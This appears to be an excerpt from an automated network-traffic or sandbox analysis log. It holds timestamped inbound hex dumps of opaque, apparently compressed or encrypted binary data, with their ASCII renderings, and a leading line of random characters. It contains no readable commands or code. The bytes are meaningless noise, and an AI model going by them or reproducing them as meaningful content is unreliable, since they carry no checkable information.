_cVD&2Y[\CkXEBAE'wG\|B$K#IdT6_g.f+~W-}\Cc:&b?o4u{Q.c(6$G=m4+$+s(JZ=60W}9`m7F=50!25A'
2022-01-14 01:05:11 UTC	618	IN	Data Raw: e9 45 e7 bc a0 5f 78 a1 e7 e9 7d 49 91 de fc 16 64 57 ed 4a 83 d9 28 58 34 dd 92 60 9c 07 88 22 6c ea ea a4 8c fd a7 26 c6 69 40 5f 3f 07 ce b9 61 9f c1 ea 4e 2c fb e3 46 f4 06 3f b4 ce df f2 bc 5c f9 db 6a c4 0b 0f 37 5c 72 eb 71 a0 b8 b3 fa 88 40 35 10 7c 48 a5 8f 08 61 68 99 83 9a 83 37 a0 6d 71 a3 36 01 21 72 be e0 c2 91 4c 86 3a 10 83 eb b9 d7 fa c2 cf 7e 17 4f ce bf 19 c6 14 bc 47 0b 3d 9a ac 1c 97 dd 68 7a 00 5e 96 9e 40 0a 35 7c d5 a8 ed 37 b3 8c 9a f4 b3 43 21 5d 12 0b bc f3 b4 6f 3f e8 55 60 ba 13 fb 17 27 fb 19 99 71 0b 75 71 ef 00 9d 05 3b 27 6a b4 75 bb 10 18 ea 16 37 43 32 64 98 d0 4d b1 46 48 a9 77 c7 97 b2 dd 1a 47 6c 43 01 84 cf a3 74 46 7a 13 b1 8d 10 d4 29 11 65 da 96 c8 d9 6d 1e 00 ad df 5e 95 6c ff e3 25 31 8a f5 1c 0c 21 ff 9d ea 09 Data Ascii: E_x}IdWJ(X4`"l&i@_?aN,F?\j7\rq@5\|Hah7mq6!rL:~OG=hz^@5\|7C!]o?U`'quq;'ju7C2dMFHwGlCtFz)em^l%1!
2022-01-14 01:05:11 UTC	634	IN	Data Raw: 4a 1f 33 e6 1f 44 09 23 37 a8 10 f8 63 11 c9 a2 1e 0f ca 6c 12 dd 11 b8 fe f0 b1 80 f6 67 95 9d 67 83 ec 99 f7 49 72 69 fb b6 54 9a b8 fc 93 20 35 8f ac 5e fc 76 35 4a f8 0a a0 52 f2 ad 65 20 81 e1 4a b2 1d 6f 4a 25 85 58 da 75 7c 88 0a 9e 60 81 66 58 1b d2 21 63 fe 3c ef 5e 52 63 b6 98 84 b8 a0 04 97 cd e4 ee 3a a4 be 76 8b 17 3e 75 1b 4e 20 67 7a 4f ff 69 f1 7e 37 c5 93 30 e3 9b ce eb 98 d9 41 cf bd 2d a4 57 40 48 00 2c 40 e7 42 68 20 e1 06 99 11 3f f7 c5 1e f5 4f 10 14 76 45 8b c1 f0 2f 92 d1 44 a9 d4 70 35 e2 1c c6 c1 ff 5a 06 56 e4 12 cd 3e 8b 60 38 c8 b1 b8 c2 70 8f aa 98 fe e5 82 28 c6 d7 e7 3c 70 c1 c6 c6 83 48 79 ca da 53 ec 6f 49 ea 84 f1 53 e9 83 6e 80 73 c3 33 a3 84 e1 41 e2 dd cd 6b b3 0d 7c 87 0d a0 6d 23 6d b4 78 c8 5b b0 a1 8f 5b 8d 61 89 Data Ascii: J3D#7clggIriT 5^v5JRe JoJ%Xu\|`fX!c<^Rc:v>uN gzOi~70A-W@H,@Bh ?OvE/Dp5ZV>`8p(<pHySoISns3Ak\|m#mx[[a
2022-01-14 01:05:11 UTC	650	IN	Data Raw: b0 bb eb b8 60 dc 6a d8 a4 77 92 70 df 46 d2 48 fa a2 ba 83 be 8d c4 77 9e d8 cd 8e 3f d0 7a b4 23 2e 0f ec 8d 0c c7 8e 70 a9 54 3f 4e b7 e1 05 3b d7 f3 fe 65 49 39 fb 9a f2 33 d8 f4 9d ec 32 61 17 26 a2 d5 f5 a8 29 b7 24 54 ab d8 41 d8 81 d9 ca b9 ed b3 4d 31 5f a9 33 af 83 bd 45 e6 b2 01 0b 46 ca ce fc 86 e1 81 96 bf 83 9b c6 e7 67 c0 82 45 21 e8 15 80 5f 8d d0 5d 15 c2 c7 b4 98 63 80 e4 d5 2a 59 33 83 0a 1a 05 34 17 ad 4f f6 1d 36 c4 6e a4 0d 5a 9b 91 d8 30 14 e6 0b 9f 71 4a 17 79 10 2e 50 3b 37 8d 9a 5e a7 65 70 c9 b5 17 f3 95 9f 71 c3 89 b5 3d 92 61 3d dd 27 ed 17 4a 60 55 ab b9 a6 56 88 64 77 fb 1f 71 db 6a 9c cf e1 04 0c 18 e7 ae 95 72 8a 9a f2 f6 fe 78 07 9b cf da 00 55 dc d0 a2 72 b3 25 69 8a ea 37 80 1f 73 63 4c ac 3a a7 72 ae 43 ea 2d 4f 61 0b Data Ascii: `jwpFHw?z#.pT?N;eI932a&)$TAM1_3EFgE!_]c*Y34O6nZ0qJy.P;7^epq=a='J`UVdwqjrxUr%i7scL:rC-Oa
2022-01-14 01:05:11 UTC	666	IN	Data Raw: 42 95 88 7e 54 47 f0 71 12 6f 48 4c 0b b3 89 21 48 14 bc 5a 78 3e 24 f7 3b 84 2c 35 60 04 86 1e b4 b3 0b 8d e0 2b 3f b6 f1 86 8f e7 5b cb 5f 69 ff 22 95 61 31 ff 4c 82 c2 34 9d a4 fe 8a 40 ce 51 17 7b 79 c9 23 92 42 3a a7 1c 6c c7 08 55 bb 67 87 08 d9 0e 52 3e a3 3e 1a 41 8f 2a b2 57 7a 5b 0e 32 7d b1 32 ee a0 1b bc c7 d0 8c 3c 35 35 4f 87 16 a2 b2 03 cf 27 11 4f 3d a9 02 4f f5 6d f7 ba 7c b3 b9 b8 12 5b 69 bb 3d ed 95 aa 09 04 f3 c2 82 16 fa 1d 61 9f a5 9a 76 93 38 b2 03 8d 22 25 1d a9 fa 1d e0 82 7b 37 fa d2 7a de e0 40 8a 0b a0 0d e0 d7 98 eb b6 f8 4e 2d b1 33 94 92 dc 1b d6 bf 14 34 dd 73 b4 5c 3f bb 64 91 f8 22 bc 4f ac 27 f2 ff df 68 ad c4 38 f5 19 64 fe c4 a2 25 19 49 2b 63 1d 3b de c3 a6 e5 0d a4 5d a8 d3 ed fa 16 4e 3f 9b 95 43 e3 e2 10 83 5a 37 Data Ascii: B~TGqoHL!HZx>$;,5`+?[_i"a1L4@Q{y#B:lUgR>>A*Wz[2}2<55O'O=Om\|[i=av8"%{7z@N-34s\?d"O'h8d%I+c;]N?CZ7
2022-01-14 01:05:11 UTC	682	IN	Data Raw: 15 ef c4 f3 c2 59 e1 2f 30 9c 4d 2e 39 a6 ca a5 ad 51 56 6d 10 0d 10 c2 14 6e d7 86 53 13 29 89 a0 9c 34 86 f3 36 a6 a3 f7 14 78 97 94 13 0e cb da 03 46 57 37 aa e8 cb 70 34 db c9 65 18 b7 9a 89 0b 57 28 a8 78 e6 17 dc 01 60 dc 87 cb a4 4d 3e d8 01 49 d0 3b c4 41 7d 9f 36 36 8d 7a f9 6c bf 1e 7b 22 5a 74 96 51 9a 7b 8e 18 d6 50 75 55 8f 54 41 11 7f cd 82 af 66 f3 a9 e5 5c de 2a fb be 6b 8e 64 d1 63 9b be 0e 11 69 5d 01 d8 23 41 32 84 74 59 77 05 d6 b0 cc 7d 47 5e ff 0a ea 24 dd 51 8c 79 32 cd 85 95 79 2c 77 86 68 5d 18 7d 91 46 a2 fd b5 16 02 69 a7 dd 76 01 d6 fb 12 fd 56 d7 cc ca ee 7b 46 54 98 99 29 2d d6 5f 42 c6 13 dc 3b 1a 60 c3 e1 da 0f ac 78 69 eb 65 eb 1b bd 4e 7a df 33 28 6f a2 1d 56 0c 1b 8a 52 4a 3e 03 56 b4 58 45 cf 25 ef 74 f1 fd bc 36 ce cb Data Ascii: Y/0M.9QVmnS)46xFW7p4eW(x`M>I;A}66zl{"ZtQ{PuUTAf\*kdci]#A2tYw}G^$Qy2y,wh]}FivV{FT)-_B;`xieNz3(oVRJ>VXE%t6
2022-01-14 01:05:11 UTC	698	IN	Data Raw: 17 b8 89 67 ac e5 ca 86 c0 eb c2 26 4d 73 b9 5e 12 da 0e 4a 71 77 1e d4 7a 84 5f 52 94 e9 9e c1 64 7b 01 4c b7 54 cc cc ce 58 d4 90 41 fc a8 e6 30 74 0d cf 11 2a 45 d8 51 f9 1d 20 e7 d9 12 46 ea 8b 36 47 d1 5f 6c 57 84 be 63 60 24 e6 80 9c cc 6d 90 f0 67 b3 7d f7 82 97 64 57 a4 61 dc 75 ba 97 b5 45 9a bc e7 ed 9f 2d c0 ec 46 20 f8 f1 06 2f 20 72 49 e1 4b 9c 00 94 e1 a4 03 29 1e a3 8d a2 c3 9d 03 db f3 a6 bf 63 b7 22 98 52 cd 11 f6 68 4b c3 be 68 62 37 64 d5 05 8f 55 f6 dd 38 c9 a3 db f5 cb d5 20 4b 60 d1 ba bc ab b3 28 ad 49 dd fa ea a5 2f bc 21 cb 3e f5 ba c4 94 aa 60 8c 33 23 26 6c 31 e7 7a 61 08 ad 68 f0 74 13 ad 08 44 06 c5 89 3a 38 3d d1 8a 6d c8 97 6e dd f5 e4 a7 47 16 19 01 14 5c bf 9f b6 78 f8 a9 72 dd d8 96 67 4b 0c 5c a8 2e cc 5f 75 11 c4 33 13 Data Ascii: g&Ms^Jqwz_Rd{LTXA0t*EQ F6G_lWc`$mg}dWauE-F / rIK)c"RhKhb7dU8 K`(I/!>`3#&l1zahtD:8=mnG\xrgK\._u3
2022-01-14 01:05:11 UTC	714	IN	Data Raw: 86 12 d9 0f 6c 08 2c ea 1c 9a 7c 7e d1 b2 b1 ff 1e 18 b1 93 8b ad 9d 88 76 95 b8 85 76 a4 b0 38 ce f4 14 e1 15 38 fb 5c 77 bc 47 73 31 8f 9e 1c 80 97 c9 7f 60 ea 6d e1 34 45 61 56 6f b2 b9 33 4e fb cd 6a ce 18 5c ff 71 44 f8 b2 55 6e 15 be 52 6e b8 d6 f1 4b 84 3b c5 df 16 1b 5d 5a 10 5f b9 ca 2e 35 fd 9d 06 5d 38 1e 71 fd a9 79 63 a9 60 19 04 6f 59 7e e4 18 01 be 4e 8c c2 63 f3 44 cd 3b 15 35 f5 ff 73 43 a0 30 1d 92 12 fb f2 ee e4 78 70 4e 30 f3 6a ed cb 10 c4 59 ac 62 91 99 55 60 a5 ea 92 91 d4 ed 80 38 89 e3 d8 62 18 47 e3 53 d8 91 40 35 ac 6d 45 a3 3f c5 1e 7d 2f b4 4d f8 e3 69 c6 c5 0d 9a e7 2f 25 c5 9e eb b5 98 49 3b 4a e1 f4 19 e0 74 2b 18 8a 8e 14 e1 13 cd b0 01 b3 af 2c e2 ab 2a 8c 8b b1 64 b4 c5 c1 ad 08 1f 66 7d ec 7e 42 b8 aa e2 42 5b b8 5c 2c Data Ascii: l,\|~vv88\wGs1`m4EaVo3Nj\qDUnRnK;]Z_.5]8qyc`oY~NcD;5sC0xpN0jYbU`8bGS@5mE?}/Mi/%I;Jt+,*df}~BB[\,
2022-01-14 01:05:11 UTC	730	IN	Data Raw: 8e 56 1c 8d 22 1a c1 c5 e6 88 4e ee 8a 70 10 f4 79 eb b4 8c 87 de 2a dd 75 05 6a ff 9a 5e d6 8c d5 01 e1 5e f8 b4 3f 4b ff 96 53 84 45 47 d2 98 a4 f7 9b e8 1e 46 94 1e 05 3f e2 15 9c 60 6c db 42 2c 25 7f 83 1b 7c cf 99 7d 2e 0b 49 8e 85 f2 30 d8 7c d3 a2 67 31 59 9e 6d 50 57 3c b6 53 d6 7e 09 aa c6 5d fa 39 15 bf 8e f0 b1 87 1e 65 5b 7e 27 3c f0 77 20 c7 6f 50 3f 9e a4 cf 22 e0 7e 0c 30 ad 90 69 7a 5a 8b 50 d2 fd 60 e7 6d 0f e1 31 d6 d1 49 1d a9 36 94 ec 40 e2 02 5b e7 76 09 6b f5 59 c9 e2 b7 10 2e 36 fc aa c7 4f e3 b5 0a 45 a1 c9 9c 35 ef 84 7e 68 9a 1e b8 03 bb 29 96 b8 73 b9 41 a7 64 78 71 d1 92 d3 d4 c3 60 92 2c f9 85 94 90 ca 31 c9 e3 ef 67 5f 24 17 59 ae 2e c9 02 a1 34 68 81 c2 f0 3c 0a e6 48 b8 d5 cf 0a e5 38 dc 85 1f 7d 83 03 86 8e ec 9c 63 ef 35 Data Ascii: V"Npy*uj^^?KSEGF?`lB,%\|}.I0\|g1YmPW<S~]9e[~'<w oP?"~0izZP`m1I6@[vkY.6OE5~h)sAdxq`,1g_$Y.4h<H8}c5
2022-01-14 01:05:11 UTC	746	IN	Data Raw: 20 28 c5 f6 36 e4 51 b9 b5 2b 16 38 5a fb ce 45 3a c7 9d 61 cf a7 04 89 06 8b 7e d9 9c ef 0d 08 d9 72 e1 60 45 30 c7 1c 28 f5 fc 37 c9 ce 2a 61 4d 8d 85 2c 96 ed 90 24 2c 41 bf 8c 26 01 82 3d 7d 02 b0 47 44 03 30 f1 16 46 a3 e0 91 41 7a 1b fc d3 8e 5a 1c b2 6b 51 b0 1b ae d1 5d 53 12 e2 f3 79 0a 85 72 3b a3 9a d7 93 f0 c2 bc b7 43 28 37 46 4e d7 76 c6 d1 b2 7a ab 79 8e d3 fb b7 8d c3 64 62 70 44 41 53 35 58 8a 0b 3e 24 64 21 b5 b5 70 b7 eb 15 69 dc f7 6e a4 fe 35 94 61 9a 18 86 11 e8 d3 0c 7f 5d 44 f0 a5 6a 1a ef ca 11 39 a6 b3 a4 8e 06 63 26 c9 48 ee bb f6 31 06 f5 b9 2d 5c 55 2b d2 27 92 55 76 dc 32 5e d8 62 02 24 f9 9a ec 6a 88 54 7e 1e 65 79 9f 90 0b a3 12 79 d5 85 4a 83 47 e2 47 e7 d7 e5 84 af bb b5 9e 3a 41 a6 df 6d 0c 79 d5 3d ef 1c a5 8f fe c3 12 Data Ascii: (6Q+8ZE:a~r`E0(7*aM,$,A&=}GD0FAzZkQ]Syr;C(7FNvzydbpDAS5X>$d!pin5a]Dj9c&H1-\U+'Uv2^b$jT~eyyJGG:Amy=
2022-01-14 01:05:11 UTC	762	IN	Data Raw: 95 4d bb 68 0b 70 f0 a0 fa 5c fd 9f a1 29 bc a7 97 94 55 be 73 22 2f 97 22 c4 a7 cb 8a 97 1e 1a 69 65 b5 12 3d 0c f4 a9 73 fd 91 13 dd ac f4 73 46 6f 46 41 29 e4 3b af 47 d6 31 07 64 c8 48 ad d4 c0 be bd 57 28 96 3a 4f 0b ad 47 39 d6 e1 88 b0 c0 2d 06 39 99 82 ba a2 25 90 aa 6b ff fa 22 df 0a 4e ea ad 78 6d a5 4a 1f a7 91 fb c5 8d de 78 c1 65 ab bd 17 fc c7 a4 45 23 ac 09 87 47 c0 da 6e 9d 46 69 4f d5 01 42 7b 53 e0 b5 61 8b 5c 98 cb b4 c2 4d 03 20 64 80 23 16 f2 12 34 a4 82 cb bb eb f6 e9 bf f8 05 a8 90 56 f5 0e 22 e3 94 73 5c af e3 b7 5e b2 6d 78 b5 ac 22 da 0e 1c b4 ef 97 35 4f 18 01 20 34 26 4d d1 fc d3 c3 44 0e f4 e6 d1 30 2b 77 13 c3 21 ca b1 3b 68 6b 4d 53 80 bc 1b 23 24 1d 01 26 68 8e 68 ab db 3d a0 46 85 0c 76 4e e6 65 f0 84 a1 90 7b 21 81 5b 6b Data Ascii: Mhp\)Us"/"ie=ssFoFA);G1dHW(:OG9-9%k"NxmJxeE#GnFiOB{Sa\M d#4V"s\^mx"5O 4&MD0+w!;hkMS#$&hh=FvNe{![k
2022-01-14 01:05:11 UTC	778	IN	Data Raw: 79 d8 99 75 fb 78 1a 5e 0c 37 cf f3 95 d3 18 9f a9 c1 82 37 37 e3 39 73 76 6b b3 c0 ac 93 61 15 e6 ea ce 8d 87 89 55 93 7d 26 c7 a8 41 8a dd 59 6e 64 6c 26 03 b2 72 cf 2d 0d b3 e0 8b 91 d1 f4 ba 74 2b 02 77 9c 0d b6 09 5c bb 45 4f a4 4f 14 92 39 e2 4a a2 9b 86 49 07 04 d4 5c 79 7c 93 59 a8 f2 36 a2 cb f5 f7 4d 83 62 65 ad c8 fc 5b af 6d 1b 4c 3d ff 04 fb 13 c6 2f 6f 87 bc cd 38 15 0b 3a 52 4e 39 ee 42 0d f0 0e 98 d7 27 c8 cf 2b 60 cb e5 f3 a2 00 a4 48 ec a1 f5 bd cf 2d 59 29 ea 04 9b a8 e6 45 8b 92 c2 fe 7d a7 de a3 8a 25 a0 64 7c d9 9b 4b f8 63 62 b0 26 b0 58 57 18 6f c7 1b 5b 78 cd c2 70 4d 29 44 68 37 7b 3a 70 01 f1 b0 2f eb 00 6f 70 ef 0c 41 26 c8 ee 24 6c 03 c0 bb 94 46 97 35 99 58 f7 08 14 c3 ef 8a f9 c8 37 12 a5 7a 02 e9 9a b2 c7 ad 46 ea 9f 5a 1b Data Ascii: yux^7779svkaU}&AYndl&r-t+w\EOO9JI\y\|Y6Mbe[mL=/o8:RN9B'+`H-Y)E}%d\|Kcb&XWo[xpM)Dh7{:p/opA&$lF5X7zFZ
2022-01-14 01:05:11 UTC	794	IN	Data Raw: 49 72 06 b8 94 ae a5 34 1b e7 e7 97 8e e6 86 b2 63 b5 d8 c3 35 a9 1d 44 c8 14 de 39 b4 d7 25 46 0e 7e e7 07 67 4f 02 c2 f6 cf 71 22 73 06 88 bb 6f 22 fd 37 e2 58 22 25 78 f7 d3 6f 8b 13 35 c2 9e 0a 25 88 22 34 38 0e 9d f7 c3 a0 b5 61 c3 6e 03 7f 0a 1b 47 79 6d e7 e0 0b 80 a8 67 d7 92 a6 29 f8 d0 87 86 fd ad 18 6e d7 53 ca 32 1d dd 74 4a 41 b7 b0 42 62 00 e3 67 30 5e dc d5 8f d2 f6 69 1f b5 8c 45 51 9a a2 47 69 0e 82 d5 2e e2 64 e2 61 72 62 6b 51 5f 46 9b 2f 27 a8 78 56 ad a9 7d 73 0a bd 7c 8a 33 16 fb 0e cf 76 b7 78 5c 57 97 b2 1b 2c 92 d4 8c 2f b9 37 eb e0 c9 49 46 0f d3 da 5b 34 6d 8a 51 d4 5b 90 a3 f7 79 8e 9b 95 b5 60 80 06 f4 e8 22 e9 3b 7f ce c1 76 5c 45 dc 85 27 04 1c 05 f0 5f 20 15 ec 94 1d 7e 63 5a 53 36 e8 56 f2 0f 27 7b 74 86 6d 17 73 bc 60 ae Data Ascii: Ir4c5D9%F~gOq"so"7X"%xo5%"48anGymg)nS2tJABbg0^iEQGi.darbkQ_F/'xV}s\|3vx\W,/7IF[4mQ[y`";v\E'_ ~cZS6V'{tms`
2022-01-14 01:05:11 UTC	810	IN	Data Raw: f8 9f 8e 58 fb 8f ca c8 8c d6 da 11 3f 20 bc 0d 39 7d 5e f3 df 18 af e9 98 34 4a 88 52 43 47 fe d3 fc ef eb c2 7d f6 e1 8d f7 62 e6 7b 8e ea 97 98 b2 f4 ff e1 3e 62 9c 6d bb f0 c7 54 08 2b 32 73 3c f8 ac 28 69 41 a9 dd be 71 55 2a e7 72 e4 ed c9 e9 2d 32 f6 1b 80 fe f3 b2 57 ad 04 86 7f d3 e9 80 01 6d 8a 82 7f 2b 75 88 5a a9 e2 0e 44 17 1c 34 9d e0 58 75 5a 8f 77 f5 48 3a 88 bd 82 c2 21 4e ad 48 fc 6d 82 6e cc f0 73 9e 42 d1 ce 3f 46 f3 26 eb 83 e8 aa 9c b2 0c da 6d 40 fa d5 37 10 ff aa ec 0b 10 5b c5 ed e5 69 e2 78 1e 77 ec 3e e0 da f4 91 22 c5 99 3b 0b f4 b4 db 67 b6 61 41 f5 92 c7 e8 64 01 81 44 81 30 3c b3 03 ed ca 03 1e 00 0a fd ec 22 de a7 2e 3d 1c 03 31 29 72 e1 85 c3 bc ac ad 04 94 7f d5 79 81 25 af f4 3d c8 75 72 6a f8 58 97 97 3b 0b ec 06 3b fa Data Ascii: X? 9}^4JRCG}b{>bmT+2s<(iAqU*r-2Wm+uZD4XuZwH:!NHmnsB?F&m@7[ixw>";gaAdD0<".=1)ry%=urjX;;
2022-01-14 01:05:11 UTC	826	IN	Data Raw: a8 25 27 d8 8c 67 dc 77 20 87 ee 8c 49 6e c7 30 b3 cc 52 41 59 f2 1c 0f 6d d3 8a 63 ee 79 46 a8 17 59 a4 91 56 3e d8 ec 42 56 93 60 80 a4 14 ad 05 18 2f 26 37 2a ef fd b3 bb cb 3e 49 86 39 83 1c 23 41 eb 7a 2f c7 a8 12 83 8a f4 a1 eb ea ea 81 ba 7d 19 30 32 b2 3c cb 96 81 e7 99 ca 59 2d f9 62 7a 8e 1d 45 75 c0 59 8d 1c 23 96 f5 3c 61 56 0c a1 73 f6 94 56 14 88 37 7b 61 4a a4 bf 9b 6b 37 75 3f d1 0d 49 79 e3 9c 59 39 79 1a 6a 4c 29 bf cb bf a2 2a 52 10 fe 81 4b 66 15 de d0 bf df fa 87 a1 73 47 48 1b 11 08 13 1d 3e 43 70 17 ba 3d ce 15 d2 81 4b 83 8b b4 cc 23 42 8e 3e 35 a8 94 a6 a6 8b 73 40 0a 58 6a 0a 1b e4 82 ca 30 22 be 48 67 b0 a9 53 06 ce 6a 2e 75 70 75 7d 98 48 06 c1 6b aa ce fa 6f ed a6 25 b6 93 d9 10 a9 ac 20 ac 21 0a 78 1e e6 ce 78 97 7b a5 86 d8 Data Ascii: %'gw In0RAYmcyFYV>BV`/&7>I9#Az/}02<Y-bzEuY#<aVsV7{aJk7u?IyY9yjL)RKfsGH>Cp=K#B>5s@Xj0"HgSj.upu}Hko% !xx{
2022-01-14 01:05:11 UTC	842	IN	Data Raw: f2 ac 47 68 32 b3 dc 3f a5 a5 27 b6 f0 c3 55 0d f0 e6 89 b6 cc f5 8d 01 11 40 81 52 5f 00 a0 e7 1b 4a 8f 2f 9c 54 41 d3 e6 0a 60 4d f2 87 89 fb d0 e2 f1 11 7b 99 da 62 dd 07 32 cd 6c 95 4c 6c b8 22 c0 c3 11 d3 d0 9d 81 c8 0e b4 0e bb e4 f6 c5 81 90 09 5c a7 e9 e5 ad 12 38 ba 20 5e 08 78 26 fb bb cc 5c 5f 42 be 27 b6 10 98 f4 1c 3a fb d2 c2 34 d3 94 a0 0e f4 d4 0a f5 ce 24 ff aa dd 4c 29 f5 49 db 5d 09 3b ea 82 90 94 9d 23 7f d8 4e 74 d3 e5 7e 51 1b 0f 4c c8 86 b2 9c 88 61 01 5e f8 67 5b cb 43 c8 6d a0 c0 37 2c e3 85 25 8c fa 60 70 9e 70 b5 44 10 e6 dd 12 ce 6c 3e 08 3f e0 54 10 8e 6d e5 3a 16 b0 c0 73 90 dd b8 f1 5c 10 90 e8 6b aa 30 41 0d cd ee 74 8a 98 35 a7 01 60 f7 18 5c 55 64 b2 11 f3 51 34 07 f9 6c 21 7c 20 90 94 b4 b0 5d 63 dd e3 4b 15 36 bc 7c 59 Data Ascii: Gh2?'U@R_J/TA`M{b2lLl"\8 ^x&\_B':4$L)I];#Nt~QLa^g[Cm7,%`ppDl>?Tm:s\k0At5`\UdQ4l!\| ]cK6\|Y
2022-01-14 01:05:11 UTC	858	IN	Data Raw: f1 68 af 81 4b 8d 49 96 63 0b 39 bd b5 ba e4 65 8f fe 37 0f b6 d6 4b 24 d4 b3 4b f5 bc d6 d9 f7 bb bf d4 f1 ca 59 c2 b0 bc 83 97 02 de 57 c2 3b ce 9e 1c f0 eb 4b a2 e1 c7 80 eb 71 22 f3 1c b4 9a c8 be 30 11 32 64 8e ea 0e db 2c f3 6b 6d d5 48 eb 5d de cf 4a 83 a7 3b 37 b1 fd 27 9a 54 09 ae 9d 10 0f 70 28 51 16 27 32 13 6e 53 af 92 95 9d ff 06 9c d2 c5 8e 5d ba de 64 a0 5b e1 0e 57 6d 18 0c 78 1e 07 d4 f5 d7 1e 7b 50 97 f5 71 95 86 09 18 52 aa 52 40 2a 2e ef 6a ea d6 78 1c e6 34 3a 27 22 18 b4 b5 0b f8 72 82 b9 00 e3 e3 c4 af 8a ca 28 a8 41 9d 25 77 1d f3 35 a5 66 0a 1a 7e 12 92 8e 70 62 42 89 ce a2 c2 8f 25 a5 68 84 58 04 53 6e a9 c6 6b dc 96 a3 eb d6 a0 92 ed ba 38 f1 dd b4 87 82 01 3b f9 9d cb 71 e9 2d f0 23 6e f6 ab f9 f1 1e 95 f8 0d 38 aa c9 42 59 1f Data Ascii: hKIc9e7K$KYW;Kq"02d,kmH]J;7'Tp(Q'2nS]d[Wmx{PqRR@*.jx4:'"r(A%w5f~pbB%hXSnk8;q-#n8BY
2022-01-14 01:05:11 UTC	874	IN	Data Raw: 4a da b0 d6 80 44 c7 b8 d1 f9 40 4a e8 13 6b 71 05 e2 86 85 bc 98 25 91 db 38 ec 65 fc b6 e9 72 5c 31 b1 f3 9e 73 bf 71 bb aa d9 51 cb 9a b2 9d 9d 21 23 c0 99 1e 94 72 78 7a dc 5f 45 45 61 de 2a 84 fb 8e a3 55 6a fe fb 62 81 ae 14 7b 1d 7f 2f 9a d3 2e 70 4b a6 b4 b0 ec 6e 5c 5b 8a 5d 41 01 f7 ed 86 6c f9 f6 14 d1 98 44 b6 21 31 1a 03 b3 b9 9b 94 ca 8d 73 b3 d0 e0 c4 a8 d8 1a e7 ce a0 a6 44 bc ee 46 22 ea 0c 24 82 8d fa f2 d8 1c 10 17 e8 57 05 d6 58 64 6f 52 52 c7 09 de 57 44 a1 f7 04 67 81 54 20 5e d5 35 18 18 c9 e6 56 b1 7f 25 3c 65 05 58 ac bf 07 31 44 f1 32 52 3c 77 8a 72 a2 bf 30 10 22 df 9b a9 2d 39 c0 ae a1 98 50 a7 2e 6e 95 ea 46 da 8c 9b e7 67 c1 c6 0c dc 7c 52 3f 06 b4 44 01 98 e7 0a f8 8c 26 52 d2 dd d0 4e ef 88 6c 60 ad c2 f6 f7 56 77 d5 8c 7c Data Ascii: JD@Jkq%8er\1sqQ!#rxz_EEa*Ujb{/.pKn\[]AlD!1sDF"$WXdoRRWDgT ^5V%<eX1D2R<wr0"-9P.nFg\|R?D&RNl`Vw\|
2022-01-14 01:05:11 UTC	890	IN	Data Raw: 3a ef 6d 65 93 16 50 6f 74 93 92 a2 e0 f5 38 7e 35 25 eb 0e 0c 73 ca f4 fb ae 47 9a ce 04 06 97 73 87 08 58 18 f5 ff 2a 2a 76 78 e6 b4 4c 6f e0 ab bc b2 0b 29 57 1b 92 6e e9 d6 78 eb e4 5b 22 19 3a a0 f3 05 f1 84 c0 82 65 cf 04 b0 7d 5e 00 f8 77 fd eb 9a 94 5f 23 11 1d 61 60 2f c4 25 7f 6e e8 d8 50 71 9f 7a 91 eb 39 98 6a 5c 9d 88 d3 f8 c8 de 34 4e f4 9a a4 bd 07 f1 01 45 aa bc 9d 66 db d7 79 b6 ba 01 ce d1 23 90 b9 83 e4 31 15 b1 6e df b8 40 07 fb 40 bf 8c b5 64 8c 80 82 40 a6 a0 06 8f 65 a1 0c a2 83 f5 5d 7f 05 f9 b5 96 9a bb 47 b9 2a a9 8e 97 fb b7 61 0c 15 15 1b 8c 28 2d a3 45 33 68 ae d9 eb 6c 84 66 04 7b 65 0b 55 a6 51 c1 49 ca 45 12 7d af 80 aa 3b c8 d7 ee b2 15 c2 bb e4 b7 21 36 9b 77 7b e6 24 9e 0e 42 76 4a b6 e6 bc a8 73 00 cd 82 9e fb 7a 9b dc Data Ascii: :mePot8~5%sGsX*vxLo)Wnx[":e}^w_#a`/%nPqz9j\4NEfy#1n@@d@e]Ga(-E3hlf{eUQIE};!6w{$BvJsz
2022-01-14 01:05:11 UTC	906	IN	Data Raw: 2e fb cc 46 e3 03 9a 3d 41 6f 47 c6 29 d8 6b ea a8 4c 7b b7 39 54 b5 7e a8 cc 9e d2 63 7f ef a7 f8 0a 24 13 ec de 26 c6 8c 86 d9 7a 82 01 96 09 32 02 07 02 92 1b 9e 43 0e 06 0d 31 5d 00 7e 89 55 eb eb 06 57 3b 7f 13 62 8c 62 a9 d6 63 15 b1 58 d7 b4 28 ba 0c 31 1b 19 8f 65 be bd 33 36 4f 4f c6 9e 36 9c 6e c4 af 51 a1 e6 51 91 4d 64 7b 12 63 e3 62 78 47 7b 2c c3 f3 b1 cf 19 f9 b4 ce ca 85 38 2c bf 53 67 f2 f8 ff b6 9a 5c e8 2a 41 58 f8 1c e8 fb 75 3d a5 c6 75 cc c9 b1 57 2a cd b9 fc b3 7b 05 d4 55 65 59 e8 bb 8f 86 83 a9 34 81 79 09 ec ab 67 73 5e 39 99 62 38 4c fa 36 1f 88 5e 67 f1 eb 8b dc c9 10 73 9e f6 65 a9 f6 80 03 86 1d 07 ee df bf 15 9b 9b 1d 8e 25 c6 ea c2 29 5a 25 f0 4e ac 03 da 87 38 45 4b b1 d7 20 d7 29 f6 dd a8 fb 9b 41 71 ec 30 86 a3 2a 0e f9 Data Ascii: .F=AoG)kL{9T~c$&z2C1]~UW;bbcX(1e36OO6nQQMd{cbxG{,8,Sg\AXu=uW{UeY4ygs^9b8L6^gse%)Z%N8EK )Aq0*
2022-01-14 01:05:11 UTC	922	IN	Data Raw: 57 18 72 7d 54 6c 28 8e cc a8 b6 cd 5d 19 92 b3 c4 07 34 e0 7d 4f e1 67 44 f1 65 35 3c 28 07 e6 61 3c 71 a1 7d 21 10 d4 70 75 27 81 9f eb 48 b9 27 b6 b9 2f 52 65 52 39 8f 45 73 2f 78 1e f6 2d 54 27 41 93 de 01 5d 9b d0 c0 dd 28 be 1e ca 39 f0 ee 6c f1 38 5c 73 f8 35 13 12 cb 33 18 81 18 b3 4d 34 9d d9 df b4 a3 38 27 3a c2 60 33 8e ee e2 89 c7 f1 30 04 a4 a4 11 54 d3 e8 01 87 24 c9 93 4b 49 3a 1b 23 eb ec 08 bd 14 90 dd ac 30 91 d3 bd 20 95 b3 eb b9 d2 6f 77 76 88 51 3d 35 fd 09 ff a6 c0 0e b1 53 8c f2 a4 fb a8 c3 9f f2 50 7d d6 00 55 f6 05 6d bb de be f3 6a 4a 6b 36 49 2c 76 b5 8f ee d7 92 72 6d 1b 83 7c a6 93 96 89 06 82 c1 1f 42 81 4a ad 58 ad 57 7d fc 